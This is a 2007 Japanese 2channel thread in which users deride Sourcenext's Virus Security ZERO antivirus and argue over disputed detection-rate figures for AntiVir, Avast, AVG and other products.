639 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 14:10:52 ] >>633 15:00 4344 ソースネクスト 「ウイルスセキュリティZERO」累計出荷本数150万本突破、月次販売本数シェア3ヶ月連続第一位のお知らせ post.tokyoipo.com/visitor/infofile.php?brand=10398&info=202587
640 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 14:41:46 ] 性能とまったく関係ないからね、売り上げは 中国製品が安いから売れているのと同じ理屈
641 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 14:58:20 ] >>635 1.これを買う。 2.乗換え版のセキュリティソフトを買う。 3.これをメーカーに返品する。 安く世間一般の優良製品に乗り換えられる。 そう言う意味では良品。
642 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 14:59:50 ] >>640 それで毒物が検出されてりゃ世話ないな。 安物はそういうリスクがあるということを意識しておいた方がいい。
643 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 15:02:43 ] このソフトは毒物を検出しないから安心
644 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 15:08:11 ] Spybot - Search & Destroy を入れてる人、アップデートの度に ウイルスセキュリティのシステム防御が危険 無効にならない? タスママネージャーのプロセスも無くなっている(K7SysMon.exe)
645 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 15:14:18 ] こんな糞ソフト入れるならキングソフトの方が1000倍マシ
646 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 15:20:06 ] >>644 K7SysMon.exeでググルと分かる 相変わらず糞ソフトとSpybotは相性悪いな、てか糞だな
647 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 15:20:23 ] >>644 SpybotやAd-awareと併用すると不具合を起こすよ ソースはひた隠しにしてるけどね あとDaemonとかAlcoholとかも
648 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 15:55:50 ] だからキラーにしてけって!
649 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 16:00:45 ] >>644 かなり以前からこの問題は周知されていたよ といっても以前はシステム防御(K7SysMon.exe)は無かったけど 不具合はあった。当時サポートページでも『不具合は解消された』? との報告を見たような記憶もあるのだが? まぁ、色々あるよなw
650 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 19:48:56 ] VNCをマルウェア判定するセキュリティソフトってのもすごいなw ホント使えねぇ
651 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 20:20:24 ] 友人に聞かれたら何を薦めれば良いのでしょう? VSユーザーとして
652 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 20:22:03 ] >>651 カスペルスキー、AVG、NODを勧めなさい。 軽くて検知力が高い、これ最強
653 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 20:44:08 ] システム防御(K7SysMon.exe)てのは、ほんとに防御してんの? なんか、拒否とかしてもそのまま通ってるし訳わからん なくてもいいんじゃあない?
654 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 20:55:23 ] ネットやめればおーけー
655 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:08:31 ] >>652 AVGのフリーは検出力並 勧められるほど良いソフトではない
656 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:14:11 ] >>651 英語がダメならavast!、おkならAntiVir、AVGの選択肢が増える。 AVSはカスペルスキーエンジンが魅力だけどAOLなのでお勧めしない。 firewallはZoneAlarm。 対Spyもフリーでイイのがいっぱいある。Proxomitronのデフォルト 設定でもかなり防げる。FireFoxのアドインも強力。
657 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:27:11 ] >>655 フリーソフトのAVGやAvastにも劣る ウイルス検出力について >>655 さんはどう思ってるんですか? 何とも思わないの
658 名前:ついでに mailto:sage [2007/07/16(月) 21:28:07 ] 非常駐のアンチウイルスソフトを入れといてたまにスキャンかけてやると いいかも。 日本語対応ならDr.Web CureIt 英語でいいなら ttp://lets-go.hp.infoseek.co.jp/bitdefender.html
659 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:30:55 ] >>656 Avast!は日本語対応でフリーなのに機能も豊富なので一見神ソフトだけどこれ入れると他ソフトと衝突起こしやすくてフリーズしょっちゅう起こす。
660 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:33:01 ] >>655 AntiVir 98,85% avast 93,86% AVG 96,37% ちなみにAvast!とAVGはフリー版もほぼ同等の検出性能 ウイルスセキュリティw
661 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:37:32 ] >>659 既知の問題点としてはZoneAlarmとのコンフリクトがあるね。 他との相性もあるのか。 個人的にはAntiVir+ZoneAlarm+BitDefenderがお勧めだけど・・・
662 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:43:49 ] >>661 この板で確認できるだけでもノートンやキングとちょっとでも併用しようとしたらPCあぼんするという報告もある。 あとはSpyBotとも駄目っぽい。 BitDefenderはかなりいいよね、今は手元にないけどまたダウンロードしてこようかな?
663 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 21:49:43 ] 糞ースのはこれ踏めばどうなる? ttp://enjoi.blogdns.net/up/src/572.jpg
664 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 21:59:55 ] >>660 どっから引っ張ってきたか出典を書けよ低脳 AV Comparativesだろが、それはAnti Malwareの結果であり有料版 >>657 ウイルスセキュリティはゴミ それらと比較対象にすることすら冒涜
665 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:08:01 ] >>664 ★AVIRA AntiVir PersonalEdition Classic 7.0 (Free) 75.51% Aviraもフリーならこんな結果ですが。 実際はAviraもAVGも個人向けには宣伝目的でフリー版出してるはずなのに有料版とフリー版でこんなに差があると逆に印象悪いんだけど。 まあ考えられないことでしょこれは。
666 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:12:11 ] 補足入れとくとAviraもAVGもフリーはアンチウイルスのみだから検出性能が低いということになるんでしょ。 これにスパイウェア対策入れとけばなんら問題なし、ってかAVGはフリーのスパイウェア対策あるし。 逆にAvast!はフリーでもスパイウェア検出があるからね。
667 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:21:03 ] >>665 なんでそうやって情報操作するんだ そのテストでavastとAVGの検出率は幾つなんだよ Avira以下だろが、というかAVGはエントリーさえされてねえだろ まぁKasperskyよりAOLの方が高い時点で信頼性の低いテストだが
668 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:33:49 ] 問題はコピペAV ComparativesでAviraには(フリー版も同等の性能)と書いてあること。 AviraフリーはAVGフリー同様アンチウイルスのみなのにAVGはAV Comparativesで書かれてるのはAnti Malwareでフリー版も同等とは書いてない。 AV ComparativesではAvast!こそフリー版も同等の性能と書けるんだが・・・・
669 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:36:54 ] >>667 KasperskはVB100%不合格だったんだから妥当じゃない
670 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:39:30 ] >AVGはAV Comparativesで書かれてるのはAnti Malwareでフリー版も同等とは書いてない。 意味不明。 違う製品なんだから同等なわけないだろ。 Anti Malwareは+Ewidoなんだから。
671 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:43:29 ] >>670 だからAviraも有料版にはスパイウェア、アドウェア検出機能があってフリー版はそれがない。 AVGがフリー版とは違う製品というならAviraにも言えますが? AV ComparativesでランクインされてるのはAviraは有料版、AVGはAnti Malware。 どう考えてもAviraがフリーと有料版が同じとは思えないんですけど。
672 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:46:44 ] >>670 お前ただの揚げ足取りになってきたなw
673 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 22:48:33 ] ウイルスセキュリティ以下の製品もあるんだろうと思うけど、そこらへんのソフトもこんな感じに叩かれてるの?
674 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:51:23 ] 家電量販店はウィルスセキュリティを売ると3日後に別のセキュリティソフトを買いなおしに来てくれるので2倍おいしい。 だからウィルスセキュリティやウィルスキラーは量販店のお勧めソフトの上位にあがるのさ。
675 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:52:14 ] >>670 逃亡wwwwwwwwwwwwww
676 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:52:31 ] これ(糞ース)大量に並べてるPCショップって 恥しらずにもほどがあるよな 置いてなかったらバカな客に品揃えが悪いの何のと グダグダからまれるんだろうけど だからって、・・・ねえ? 今度ド素人のフリして「これ(糞ース)っていいの?」 とか店員に聞いてみるかな? 「あ・・・は、はい。売れてますけどお勧めはこれですよ」 とかって別の薦めてきたらセーフ 「はい! 安いし動作も軽いですよ! 当店のイチオシです」 とか言ったら・・・どうしようww
677 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:53:27 ] >>669 だったらAOLも不合格だろ 上のテストはMalwareであってItWじゃねーんだから そもそも何月のテストで何の項目が不合格だったのかソースを言えよ
678 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:56:49 ] 結論:AV Comparativesのテストでフリー版も同等の検出性能といえるのはAvast!だけ
679 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:56:53 ] >>671 >>672 >>675 同一人物か・・・。 ここまで低レベルな連投が同調することはないぞ。 なんか卑屈な人間らしいからこう説明しようか。 AVGは無料版と有料版の内容が違う。だから同一と説明書きされることはない。。 AVIRAに内容的な違いがあり、それを記載すべきだと主張するならAV Comparativesに言えば? なんでここで切れてんの?
680 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 22:57:20 ] >>677 知らんのか? 2007/06の結果
681 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:01:27 ] >AV Comparativesに言えば? 「フリー版も同等の検出性能」がAV Comparativesでそう書きますか?
682 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:02:29 ] >>681 馬鹿かお前 一緒だと書いてるのは2chのコピペ
683 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:05:04 ] >>680 少なくともオンラインで公開されてる情報じゃないんで知らないな 知らないのか?と得意げに言われてもそんな有料情報買ってはいないよ 何にせよVB100%はItWを使用しているので、上記のテストとは関係ないんだけどな
684 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:05:06 ] >>682 結論:AviraもAVGもフリー版は大したことない、フリー最強なのはAvast!だけ
685 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:08:27 ] >>681 パッケージが違うんだから内容は違うよ。 なんでフリー版と同等とAV Comparativesが書かなくてはならないんだ? 内容が違うのが当たり前だから書いていない。製品が違うんだから違うに決まってるだろ。
686 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:11:11 ] AV ComparativesにランクインしてるAntiVirとAVGはともに有料版、ということはこのテストにはスパイウェア検出も含んでるということだよね。
687 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:11:34 ] >>684 AVIRA Premium Security Suite 7.0 89.75% AVIRA AntiVir PersonalEdition Classic 7.0 (Free) 75.51% Rising Antivirus 2007 71.60% ALWIL avast Professional 4.7 65.19% Kingsoft Internet Security 2007 63.11%
688 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:12:57 ] >>687 都合悪くなると情報操作のAvira信者ですかwwwwwwwwwwwwwwwwwwww
689 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:14:49 ] 結論:AV Comparativesで「フリーも同等の検出性能」といえるのはAvast!だけ
690 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:21:45 ] 重くて有料版ですら日本語対応してないAntiVir(笑)
691 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:23:38 ] たまにはウイルスセキュリティの話もしてやれよ…
692 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:25:05 ] >>688 いい加減にしろ低脳。 >AviraフリーはAVGフリー同様アンチウイルスのみなのに >AVGはAV Comparativesで書かれてるのはAnti Malwareでフリー版も同等とは書いてない。 何が言いたいんだこれ。違うんだから書かれてないんだろ。馬鹿か?
693 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:25:20 ] >>691 悪いAvira信者がこんなに痛いとは思わなかったwwww
694 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:26:22 ] >>690 義務教育を受けてない人ですかね まさか英語読めないのか?
695 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:26:27 ] >>690 意味分かってないみたいだね けっこう面白かったのにこういう馬鹿がいるからおかしくなる
696 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:27:12 ] >>692 お前マジで痛すぎるwwww >>686 とか>>689 が答えだろwwwwwww え?まさかそれすら理解できない?wwwwwwww
697 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:28:00 ] 結局2chのコピペに噛みついてるだけでAV Comparativesは関係ねえじゃねえかw 馬鹿かこいつら。特に>>671
698 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 23:28:42 ] 俺はその人じゃないけど、まあまあの大学まで出たのに大して英語は読めないぜ。
699 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:29:44 ] >>696 AVIRA AntiVir PersonalEdition Classic 7.0 (Free) 75.51% Rising Antivirus 2007 71.60% ALWIL avast Professional 4.7 65.19% Kingsoft Internet Security 2007 63.11% 性能結果がこれ avastなんざウイルスキラー以下だよ
700 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:30:51 ] フリーなのにフリーとは思えないほどの機能を詰め込んだAvast! 有料版ですら日本語対応してないAntiVir(笑) 貴方ならどっちを選びますか?
701 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:31:00 ] ここってウィルスセキュリティZEROの板だよなw
702 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:31:55 ] >>699 お前のような馬鹿にはこっちも貼ってやるよ AV-Test.org Reports Stats from Antivirus Roundup 検知力テスト結果 (2007年05月22日) ttp://www.pcmag.com/article2/0,1895,2135053,00.asp 01位)WebWasher 99.83% (605,846) 02位)AVK 2007 99.56% (604,255) 03位)AntiVir 99.42% (603,408) 04位)F-Secure. 97.93% (594,333) 05位)Symantec 97.77% (593,355) 06位)Kaspersky 97.64% (592,606) 07位)Fortinet. 97.06% (589,028) 08位)Avast!. 96.32% (584,574) 09位)AVG. 96.15% (583,541) 10位)Rising 96.02% (582,772) 11位)BitDefender 95.68% (580,700) 12位)Norman.. 94.66% (574,476) 13位)Ikarus.. 92.54% (561,607) 14位)Panda. 92.09% (558,899) 15位)Trend Micro 90.97% (552,107) 16位)Nod32. 88.32% (536,043) 17位)McAfee 87.28% (529,680)
703 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:34:47 ] >>702 ぶっちぎりでAntiVirに負けてるな 自爆したいの?
704 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:35:52 ] × 板 >>651 のおかげで妙にry
705 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:36:39 ] AV Comparativesの話をしてるんじゃなかったのか Avast!はAV ComparativesではADVANCEDで、ごく普通の性能だが
706 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:36:47 ] >>703 たったの3%差がぶっちぎりで負けてるんですかw Avira信者の頭ってどうなってるのw
707 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:38:04 ] >>702 ひでぇw キラーに勝ちたい一心でコピペしたらAVGよりちょっと上ってだけの結果w 明らかに自爆だろw
708 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:38:36 ] >>705 まあAvast!はあのランキングでは一番分が悪いのは事実だけどね
709 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:39:17 ] >>706 その3%の差が何体の検体数になるのか算数をしてから書き込んでください
710 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:39:49 ] お前らキラースレに帰れよ。 キラースレで叩かれたからと言って、こっち来るな。
711 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:40:08 ] AVIRA AntiVir PersonalEdition Classic 7.0 (Free) 75.51% Rising Antivirus 2007 71.60% ALWIL avast Professional 4.7 65.19% Kingsoft Internet Security 2007 63.11% これを乱用するAvira信者のが(ry
712 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:41:35 ] >>711 どこのテストの結果を貼ってもavastがAntiVir以上である結果はありませんが。
713 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:41:57 ] そういえばキラー信者には「合格してないからつまり失格」とかいう迷言吐いた奴いたよなwwwwwwwwwwwwww
714 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:43:23 ] >>710 そういえばキラー信者臭いよね。 キラースレもこういう痛い奴らばかりだし
715 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:44:12 ] どれを選ぼうがウィルスセキュリティZEROよりはましになる。 それだけが真実。
716 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:44:21 ] >>706 AV Comparativesなんか上位は1%刻みでランクが変わるんだがな >high (96-97%), very high (98-99%)
717 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:45:46 ] キラーに話を持って行きたい馬鹿が沸きすぎw 黙ってフリー三種の話でもしてろw
718 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:46:33 ] おっとキラー信者が正体現した
719 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:47:40 ] そういえばそういえばって、何でキラースレを見てる連中がこんな底辺のスレにいるんだか。
720 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:48:18 ] >high (96-97%), very high (98-99%) こんな表記どこにあるの?ADVANCED+とかならわかるけど
721 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:48:37 ] >>718 すげぇ思考回路だなw馬鹿はやっぱ違うわw キラーなんざ無料で使えるアンチウイルス以下の存在だろがw もちろんウイルスセキュリティはそれ以下だがなw
722 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:49:45 ] >>720 テスト結果見てこれば分かるよ 下の注釈にあるから
723 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:49:54 ] >>721 Avast!はキラー以下といったのはどこの誰でしたっけ?
724 名前:名無しさん@お腹いっぱい。 [2007/07/16(月) 23:50:21 ] ウイルスセキュリティ、ウイルスキラー、キング・・・・・と、そこらへんのソフトでVirusTotalみたいなのサイトって出来ないかな? 面白そうじゃない?
725 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:50:31 ] 底辺というか最下部じゃまいか
726 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:51:30 ] >>719 売れるVSをねたんでるんじゃないの?
727 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:51:56 ] >>723 誰じゃなくて>>711 のテスト結果だろw 頭腐ってんのかw
728 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:53:19 ] 酔っ払いは帰れ
729 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:53:27 ] >>727 ↓こんな信憑性のないテスト結果で「Avast!はキラー以下」といったのは誰でしたっけ? 699 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/07/16(月) 23:29:44 >>696 AVIRA AntiVir PersonalEdition Classic 7.0 (Free) 75.51% Rising Antivirus 2007 71.60% ALWIL avast Professional 4.7 65.19% Kingsoft Internet Security 2007 63.11% 性能結果がこれ avastなんざウイルスキラー以下だよ
730 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:54:26 ] 他スレもチェックしてんだね荒らしは。 そもそも他スレの話題を当然のように持ち込む神経が分からない。 ウイルスセキュリティのスレなんだから他スレの話なんか知らないよ。
731 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:55:59 ] ◆AV-Comparatives オンデマンドテスト(2007/2) ※Rising ウイルスキラー 81%
732 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:56:37 ] >>729 そのテストに信憑性がないと思うなら抗議でもしてこいよw しかもそれ貼ったの俺じゃねえしw 一番最初にそのテストを引き合いにした奴は>>665 じゃねえかw
733 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/16(月) 23:59:01 ] >>728 同意
734 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:01:06 ] AVIRAの話はどこ行ったんだよ・・・ そもそもAVIRAとAVGの話だったんじゃねえのか
735 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:01:44 ] 「フリーも同等検出性能があるのはAvast!だけ」という結論にファビョってわけわからんテスト結果悪用した>>699
736 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:03:18 ] >>734 avastはRising以下と言われて誰かがぶち切れたから。 逆鱗にでも触れたんじゃないの。 まぁここはウイルスセキュリティのスレなんだけどね。
737 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:03:57 ] >>734 もうほとんど結論でてるよ。 確かにAntiVirは検出率に突出してるがAvast!やAVGだって十分問題ないレベル。
738 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:04:16 ] 特定のソフトを煽ることしかできんのか いい加減にソースの話してやれよ
739 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:04:20 ] >>735 同等というか、無料と有料の違いがないというそれだけの話だろそれ。 たかがそれだけの話になにを。
740 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:06:01 ] ウイルスセキュリティがこの会話に入れないのはそれだけ群を抜いて性能が低いってことなんだろうな もう影も形もない
741 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:06:20 ] >>739 それをいうとAviraの表記に問題が(ry といいたいがまたループになりそうだからもういいや
742 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:09:49 ] >>736 キラー信者発見
743 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:10:26 ] >>741 何か上の方から勘違いしているようだけど AV ComparativesはAntiVir PE Premiumというソフト名表記なんだけど。 Premiumが有料で無料版と機能が違うのはAVIRAのサイトを見れば分かることで AV Comparativesがわざわざ注釈しなければならないことではないんだが。
744 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:11:22 ] >>742 すげぇ思考回路だなw馬鹿はやっぱ違うわw キラーなんざ無料で使えるアンチウイルス以下の存在だろがw もちろんウイルスセキュリティはそれ以下だがなw
745 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 00:12:26 ] AntiVirPersonalやAVSが無料でつかえるってのに入ってるとしたら、ほとんどのものは無料以下だわな・・・・
746 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:14:09 ] >>743 いや、そうじゃなく一良いセキュソフトスレでも議論されてたことなんだけどあのAV Comparativesコピペには表記に問題あるということ。 本当に「フリーも検出性能が同じ」といえるソフトは有料と無料の機能に殆ど差がないAvast!しかない。 あのテストはスパイウェアの検体も含んでるからね。
747 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:15:12 ] >>744 キラー信者w
748 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:22:01 ] >>746 ああ、そういうこと。 コピペに問題があるというならそのコピペが問題であって、修正すれば良いだけじゃないのか。 というかフリー版と有料企業版に違いがないってそんな強調しなくてはならないことか? 単にテスト結果に食い違いが生じないというだけだろそれ。
749 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:25:55 ] 合格してないからつまり失格 夏帆にフラれたことがないからつまり俺の女
750 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 00:26:48 ] キラーのスレにとんでもなく勘違いしたアフォが湧いてますが
751 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:26:52 ] >>748 >というかフリー版と有料企業版に違いがないってそんな強調しなくてはならないことか? そうだよね、なぜ有料版とフリー版に内容がかなり違うAviraがあのテストのコピペに「フリー版も同等の検出性能」と書かれてるのか不明。 AVGもアンチウイルス版ではなくスパイウェア対応版がランクインしてる時点でそれはありえないこと。 恐らく2ちゃんで信者が勝手に「フリー版も〜」と付け加えたのでないだろうか?
752 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:34:59 ] さっきから合間合間にキラーの話をしている馬鹿はなんだ? 話題についてくる気もなくウイルスセキュリティの話をするわけでもない。 狂ってんのか。
753 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:42:54 ] >>752 なんだ?と言われてもねぇ。キラー信者なんだろ? お前もいちいち小せぇ事ぬかしてんなよ。
754 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 00:43:46 ] 荒らすことができれば何でもいいと思ってる連中だろ こういう連中はスレの内容とかはどうでもいい、荒らすことができれば満足
755 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:45:51 ] 馬鹿確定。スレ違いや迷惑を考えろ。 スレタイさえ読めないか。日本人じゃないのかもな。
756 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:46:41 ] ID導入要請でもする?
757 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:51:39 ] >>751 見てきた。 あれはあの一文を消すだけで終わるような話だな。 難を言えばAV-Test.org等のテストではフリー版か有料版か分かりにくいという点か。
758 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 00:54:04 ] キラーすれで叩かれて追い出されたやつがこっち来て暴れてるだけだろ。 そいつらもクズだし、反応するやつもクズ。 ウィルスキラーはもっとクズ。
759 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 01:12:48 ] >>757 >あれはあの一文を消すだけで終わるような話だな。 多分あの一文なければAntiVir使いが大幅に減ることを危惧して付け足したと思う。 フリーで日本語対応で機能が豊富なAvast!や軽くて日本市場にも進出してるので気に入れば有料版を買いやすい環境にあるAVGと比べるとAntiVirは結構不利だと思う。 >難を言えばAV-Test.org等のテストではフリー版か有料版か分かりにくいという点か。 それもあるね、もっというとあのテストはスパイウェアの検体も含んでるかどうかもわからない。
760 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 01:37:12 ] >HKEY_LOCAL_MACHINE\SOFTWARE\K7 Computing\K7TotalSecurity\CommonInfo\Updates >パスワードが丸見えなアンチウイルスはウイルスセキュリティだけ! > >このレジストリ値を参照するウイルスが登場したら何が痛いって >メールアドレスは公開されて、さらに第三者に勝手にパスワードを変更されることだ >そうなったらアップデートも定義の更新も何もできない、スパムも受信し放題 主観的な話はともかく、これだけは客観的に判断出来る致命的欠点なんだがな。 数多の誤検出問題も長期放置が得意技〜
761 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 02:09:02 ] 罵り合いにすら参加させてもらえないウイルスセキュリティ スレタイには登場しても話題にすら出してもらえない糞ース ある意味最強
762 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 03:09:00 ] >>761 一週間くらい前はキラーがそうだった
763 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 03:17:30 ] のびすぎで吹いたw やっぱり2時に寝ちゃうんだね
764 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 03:29:28 ] >>763 キラー信者が?
765 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 04:04:14 ] キラー信者は巣にもどれ
766 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 09:28:53 ] お前らクソーススレで何やってんだ?
767 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 12:15:24 ] お勧めのアンチウィルスソフトの話さ
768 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 16:00:39 ] ZEROと付くものにろくなものはない
769 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 17:00:09 ] 9.4.0059
770 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 17:28:27 ] >>663 の件について
771 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 17:29:39 ] 通信販売のパソコンにこれがついてくる場合でも、他にソフトを買ったほうがいいんですか?
772 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 17:33:05 ] >>771 いや、そうじゃなくて、これが入っている通信販売のパソコンを買うべきではない
773 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 18:27:21 ] アンインストールしても悪さするのか?
774 名前:名無しさん@お腹いっぱい。 [2007/07/17(火) 20:19:26 ] 他社工作員が必死になるのも分かる気がするよ 安くてこんなに優秀なソフトがあっては売上に響くものな
775 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 20:33:52 ] >>774 馬鹿か? 3ユーザーパックを7000円以上で売ってるぼったくり製品のクセに キングとキラーは4000円も出せばお釣りが来るよ
776 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 21:27:12 ] そのお釣りをカンパしたらいいではジャマイカ
777 名前:名無しさん@お腹いっぱい。 mailto:sage [2007/07/17(火) 21:34:22 ] >>771 ジャパネットかw
